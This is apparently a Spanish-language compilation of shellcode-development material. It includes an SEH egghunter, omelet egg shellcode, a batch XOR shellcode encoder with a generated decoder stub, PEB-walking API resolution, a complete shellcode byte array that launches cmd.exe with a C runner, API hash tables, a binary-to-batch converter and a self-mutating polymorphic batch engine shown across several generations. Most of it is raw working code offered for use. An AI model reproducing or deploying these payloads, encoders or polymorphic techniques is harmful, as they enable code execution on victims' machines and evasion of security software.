egghunt:
jmp startup

exception_handler:
mov eax, [esp + 0x0c]
lea ebx, [eax + 0x7c]
add ebx, 0x3c
add [ebx], 0x07
mov eax, [esp]
add esp, 0x14
push eax
xor eax, eax
ret

startup:
mov eax, 0x42904290         ;marca del huevo, en este caso:
                                    ;nop
                                    ;inc edx
                                    ;nop
                                    ;inc edx
jmp init_exception_handler_skip
init_exception_handler_fwd:
jmp init_exception_handler
init_exception_handler_skip:
call init_exception_handler_fwd

init_exception_handler:
pop ecx
sub ecx, 0x25
push esp
push ecx
xor ebx, ebx
not ebx
push ebx
xor edi, edi
mov fs:[edi], esp

search_loop_begin_pre:
search_loop_start:
xor ecx, ecx
mov cl, 0x2
push edi                    ;posible punto de inicio del huevo a la pila
repe scasd                  ;el puntero actual es el inicio del huevo?
jnz search_loop_failed      ;no, ok sigamos con el siguiente
pop edi                     ;bien, restauramos el punto de inicio
jmp edi                     ;vamos donde esta resto de la shellcode

search_loop_failed:
pop edi
inc edi
jmp search_loop_start

typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
}EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

typedef struct _EXCEPTION_RECORD {
  DWORD                    ExceptionCode;
  DWORD                    ExceptionFlags;
  struct _EXCEPTION_RECORD *ExceptionRecord;
  PVOID                    ExceptionAddress;
  DWORD                    NumberParameters;
  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
}EXCEPTION_RECORD, *PEXCEPTION_RECORD;

 // This is the binary code that needs to be executed to find the eggs,
 // recombine the orignal shellcode and execute it. It is 82 bytes:
 omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

 // These are the eggs that need to be injected into the target process
 // for the omelet shellcode to be able to recreate the original shellcode
 // (you can insert them as many times as you want, as long as each one is
 // inserted at least once). They are 64 bytes each:
 egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
 egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
 egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
 egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";

:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
	if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<

goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

[BITS 32]
global ini
ini:
	jmp short sc_data	;obtenemos el puntero al codigo de la shellcode
decode_routine:
  	pop ebx                   	;puntero al inicio de la shellcode a ebx
	xor ecx,ecx			;ecx a cero
	mov cx, 0x10c1           ;tama?o de la shellcode mas 0x1010
	sub cx, 0x1010		;cx menos los 0x1010 a?adidos (la explicacion mas adelante)
decode_loop:
	xor byte [ebx], 0x11	;byte contenido en ebx decodificado
	inc ebx			;ebx++
	loop decode_loop		;cx=0? no, sigue decodificando
	jmp short shellcode	;si, ejecutemos la shellcode
sc_data:
	call decode_routine	;puntero a la shellcode a la pila
shellcode:

	mov cx, 0x10c1
	sub cx, 0x1010

set/a sc_sz+=0x1010

	mov cx, 0xb1

	mov cx, 0x10c1
	sub cx, 0x1010

	mov cx, 0xb1

char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Direccion de kernel32 y calls especiales

Articulo previo: Creando una Shellcode

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;

mov ebx,fs:[0x30]

 PPEB_LDR_DATA                 Ldr;

typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

LIST_ENTRY InLoadOrderModuleList;

typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

mov ebx, fs:[0x30]

		mov ebx, [ebx+0x0C]  ;puntero a LDR
		mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

		mov ebx, [ebx]
		mov ebx, [ebx + 0x08]

		xor ebx, ebx ;ebx a 0
		mov ebx, fs:[0x30] ;apuntamos a PEB
		mov ebx, [ebx+0x0C] ;LDR a edx
		mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
		mov ebx, [ebx]
		mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx

#include <windows.h>
#include <stdio.h>

int main()
{
	DWORD kernelAdd;
	printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
	__asm{
		xor ebx, ebx
		mov ebx, fs:[0x30]
		mov ebx, [ebx+0x0C]
		mov ebx, [ebx+0x1C]
		mov ebx, [ebx]
		mov ebx, [ebx+0x08]
		mov kernelAdd, ebx
	}
	printf("\ncon PEB: %8X", kernelAdd);
	return 0;
}

api_call:
  pushad     ;registros a pila
  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     

loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0
  push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx          

get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi           

loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion    

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax 

tenemos la direccion virtual de la funcion    

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor 

anterior
  pop ebx        ;arreglamos la pila
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  jmp eax        ;llamamos a la funcion        

get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax  

get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod
  ;Harmony Security

[BITS 32]

  cld        ;bandera de direccion a cero
  call start ;puntero de api_call a la pila   

api_call:
 ;(...)
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp      

  jmp command     ;comando a ejecutar va a pila

exec:
  push 0x876F8B31 ;hash para WinExec a pila
  call ebp        ;llamamos a api_call       

  push 0x56A2B5F0 ;hash para ExitProcess a pila
  call ebp        ;llamamos a api_call      

command:
  call exec
  db "cmd.exe ", 0

char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA" 

0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv" 

0x5F38EBC2, "ws2_32.dll!send" 

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle" 

0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject" 

0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread" 

0x6F721347, "ntdll.dll!RtlExitUserThread" 

0x23E38427, "advapi32.dll!RevertToSelf"

:: B2bat (binary to bat)
:: Author: lShadowl;The Shadow
:: Realese date:24/8/09
:: Realese version:1.0
:: Tested in Win Xp pro sp3
:: File size limit: 64kB
:: Info: Converts any file into a batch script.
:: Syntax: b2b <in file> <out script>

       @echo off
:b2b
setlocal enabledelayedexpansion&& set ms=%2&& set mos=%1
if not defined ms (echo Syntax: b2b ^<in file^> ^<out script^>&& goto:eof) else (echo.Working...)
echo.exit|cmd/K prompt $_rcx$_$_q>$
echo set cx=%%1>CX.bat
debug %1<$ | find "CX">_.bat&& call _
set/a ecx=0x100+0x%cx%
set hexstr=0123456789ABCDEF&& set sz=
:loop2
set/a ths=%ecx% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %ecx% GEQ 16 (set /A ecx=%ecx%/16&& goto:loop2) else (goto:kg)
:evals
set sz=%1%sz%&& goto:eof
:kg
echo.exit|cmd/K prompt $_d 100 %sz%$_q>$
type $ | debug %1>$.t
(echo set ff=createobject("scripting.filesystemobject"^)&& echo set rr=ff.opentextfile("$.t",1^)&& echo aa = rr.readall
echo rr.close&& echo r1 = Replace(aa,">",""^)&& echo r2 = Replace(r1,"<",""^)&& echo r3 = Replace(r2,"&",""^)
echo r4 = Replace(r3,"|",""^)&& echo set bb=ff.opentextfile("$.t",2^)&& echo bb.write r4)>rp.vbs&& rp.vbs
for /f "tokens=1,* delims=]" %%A in ('"type $.t|find /n /v """') do (set "current=%%B"

    if defined current (call set current=!!current:-= !!&& echo !current!>>$) else echo.>>$)
echo.exit|cmd/K prompt $_::Script by B2bat - B2bat by lShadowl$_       @echo off$_($_echo n b2bat.>%ms%
for /f "tokens=* skip=7 delims=%%a" %%a in ($) do (set csl=%%a&& echo echo e!csl:~5,53!>>%ms%)
:brk
echo exit|cmd/K prompt $_echo.$_echo rcx$_echo %sz%$_echo w$_echo q$_echo.$_)$Gda.t$A$A rem >>%ms%
echo.exit|cmd/K prompt $_debug$Lda.t$Gnul$_ren b2bat.exi %mos%$A$A rem >>%ms%
echo.Done.
goto:eof

::Script by B2bat - B2bat by lShadowl
       @echo off
(
echo n b2bat.exit
echo e0100  47 49 46 38 39 61 0F 00 0F 00 D5 00 00 00 00 00
echo e0110  CC 99 00 70 66 00 52 42 00 66 66 66 EE E1 00 EC
echo e0120  D1 00 E8 BA 00 B0 69 00 23 1C 00 D6 9C 00 FF 00
echo e0130  00 86 86 86 BF A6 00 68 54 00 11 00 00 FF D6 00
echo e0140  FF FF 00 FF F8 00 32 28 00 FF E6 00 C5 9E 00 73
echo e0150  5C 00 11 10 00 26 23 00 7F 71 00 81 37 00 F0 B5
echo e0160  00 F5 C4 00 3C 00 00 CC A3 00 51 48 00 FF CC 00
echo e0170  FF F0 00 7E 6A 00 C1 74 00 E2 C8 00 C7 B3 00 FF
echo e0180  DD 00 62 5A 00 D0 B4 00 80 73 00 59 47 00 1B 16
echo e0190  00 33 33 00 EC BD 00 80 69 00 08 00 00 18 00 00
echo e01A0  7F 7C 00 56 51 00 6D 57 00 CC 99 00 E0 9E 00 79
echo e01B0  61 00 F8 CE 00 99 99 99 00 00 00 00 00 00 00 00
echo e01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04
echo e01D0  05 14 00 38 00 2C 00 00 00 00 0F 00 0F 00 00 06
echo e01E0  A3 40 9C 10 47 18 5C 00 97 0F 61 38 64 4C 56 22
echo e01F0  94 A1 24 C0 B0 18 CD 8B E3 66 32 51 42 A1 C2 E9
echo e0200  82 C5 4D 2C 20 88 F7 2B 69 CB 58 C4 04 27 BD 6E
echo e0210  47 24 85 4B D1 06 02 89 00 19 21 29 00 31 12 21
echo e0220  27 1F 17 1E 7D 00 8D 14 8D 00 60 25 47 73 20 2E
echo e0230  00 22 14 83 29 14 14 24 48 8B 7D 10 10 01 26 01
echo e0240  0A 14 26 0D 17 03 68 20 8D 0F 00 2F 00 08 5D 32
echo e0250  03 04 72 7D 20 23 0F 0B 1D 1A 10 2D 7A 66 0E 95
echo e0260  1B 0F 30 00 23 20 2A 13 42 0C AC BB 35 23 35 07
echo e0270  2A 64 4D 13 17 33 15 2D 01 33 2B 13 65 4C 45 47
echo e0280  AC 4B 43 41 00 3B 85
echo et

echo.
echo rcx
echo 286
echo w
echo q
echo.
)>da.t&& rem exit

debug<da.t>nul
ren b2bat.exi tongue.gif&& rem exit

 ::Polimorphic Engine by lShadowl %ini%
  @set sdjf=fictsoehnd %ini%
  @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
  @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
  @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
  @%egnkv%off %ini%
  @%agnvl: =%local enabledelayedexpansion %ini%
%egnkv%Mutando... %ini%
%fsdhf%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"<%0>>$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%egnkv%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%egnkv%kdflekj.close>>asjdhau.vbs %ini%
%egnkv%Randomize>>asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%sjdfhjs = Replace(askdajs,"sdjf",ahqiaohe)>>asjdhau.vbs %ini%
%egnkv%lasdaod = Replace(sjdfhjs,"agnvl",jdfasuu)>>asjdhau.vbs %ini%
%egnkv%skdnmxi = Replace(lasdaod,"egnkv",dwudhqw)>>asjdhau.vbs %ini%
%egnkv%sjsabwu = Replace(skdnmxi,"fsdhf",asdwdkw)>>asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%
:: %m8%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%fsdhf%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

 ::Polimorphic Engine by lShadowl %ini%
  @set pkseh=fictsoehnd %ini%
  @set cneso=%pkseh:~4,1%%pkseh:~6,1%%pkseh:~3,1% %ini%
  @%cneso%hfdjc=%pkseh:~6,1%%pkseh:~2,1%%pkseh:~7,1%%pkseh:~5,1% %ini%
  @%cneso%vchff=%pkseh:~0,2%%pkseh:~8,2% %ini%
  @%hfdjc%off %ini%
  @%cneso: =%local enabledelayedexpansion %ini%
%hfdjc%Mutando... %ini%
%vchff%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%vchff%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%vchff%"m%r: =%"<%0>>$ %ini%
%cneso%/a rdnmm=%random%*9999999 %ini%
%hfdjc%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%cneso%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%hfdjc%%a%|%vchff% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%vchff%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%hfdjc%%cneso%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%hfdjc%%cneso%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%hfdjc%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%hfdjc%kdflekj.close>>asjdhau.vbs %ini%
%hfdjc%Randomize>>asjdhau.vbs %ini%
%hfdjc%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%sjdfhjs = Replace(askdajs,"pkseh",ahqiaohe)>>asjdhau.vbs %ini%
%hfdjc%lasdaod = Replace(sjdfhjs,"cneso",jdfasuu)>>asjdhau.vbs %ini%
%hfdjc%skdnmxi = Replace(lasdaod,"hfdjc",dwudhqw)>>asjdhau.vbs %ini%
%hfdjc%sjsabwu = Replace(skdnmxi,"vchff",asdwdkw)>>asjdhau.vbs %ini%
%hfdjc%%cneso%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%hfdjc%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
::-1313031124 %m5%
:: %m1%
::2020451641 %m1%
:: %m8%
::-1739870728 %m8%
:: %m7%
::-443934897 %m7%
:: %m3%
::-1117740673 %m3%
:: %m2%
::-888192539 %m2%
:: %m0%
::1245290346 %m0%
:: %m6%
::-1909547966 %m6%
:: %m4%
::-1847546953 %m4%
:: %m9%
::191549157 %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%vchff%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%cneso% a=%a%o %mcmp%
goto :EOF)%mcmp%
%cneso% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%cneso%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

 ::Polimorphic Engine by lShadowl %ini%
  @set kjefv=fictsoehnd %ini%
  @set eiotf=%kjefv:~4,1%%kjefv:~6,1%%kjefv:~3,1% %ini%
  @%eiotf%gugip=%kjefv:~6,1%%kjefv:~2,1%%kjefv:~7,1%%kjefv:~5,1% %ini%
  @%eiotf%mgvmh=%kjefv:~0,2%%kjefv:~8,2% %ini%
  @%gugip%off %ini%
  @%eiotf: =%local enabledelayedexpansion %ini%
%gugip%Mutando... %ini%
%mgvmh%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%mgvmh%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%mgvmh%"m%r: =%"<%0>>$ %ini%
%eiotf%/a rdnmm=%random%*9999999 %ini%
%gugip%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%eiotf%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%gugip%%a%|%mgvmh% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%mgvmh%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%gugip%%eiotf%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%gugip%%eiotf%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%gugip%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%gugip%kdflekj.close>>asjdhau.vbs %ini%
%gugip%Randomize>>asjdhau.vbs %ini%
